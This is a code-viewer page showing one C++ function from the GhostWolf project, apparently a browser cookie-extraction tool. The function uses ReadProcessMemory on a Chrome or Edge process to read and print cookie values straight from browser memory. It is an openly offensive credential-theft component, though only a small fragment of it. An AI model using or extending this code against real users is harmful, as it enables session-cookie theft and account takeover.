MCPcopy Create free account
hub / github.com/SickleSec/GhostWolf / ReadStringChrome

Function ReadStringChrome

Ghostwolf/Application.cpp:143–163  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

141 return TRUE;
142}
143void ReadStringChrome(HANDLE hProcess, OptimizedString string) {
144 if (string.len > 23)
145 {
146 RemoteString longString = { 0 };
147 std::memcpy(&longString, &string.buf, sizeof(RemoteString));
148
149 if (longString.dataAddress != 0) {
150 PRINT("Attempting to read the cookie value from address: 0x%p\n", (void*)longString.dataAddress);
151 unsigned char* buf = (unsigned char*)malloc(longString.strMax);
152 if (buf == 0 || !ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(longString.dataAddress), buf, longString.strLen + 1, nullptr)) {
153 PRINT("Failed to read cookie value");
154 free(buf);
155 return;
156 }
157 PRINT("%s\n", buf);
158 free(buf);
159 }
160 }
161 else
162 PRINT("%s\n", string.buf);
163}
164
165void ReadStringFireFox(HANDLE hProcess, NsCString string) {
166 if (string.address != 0) {

Callers 3

PrintValuesChromeFunction · 0.85
PrintValuesEdgeFunction · 0.85
ProcessNodeFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected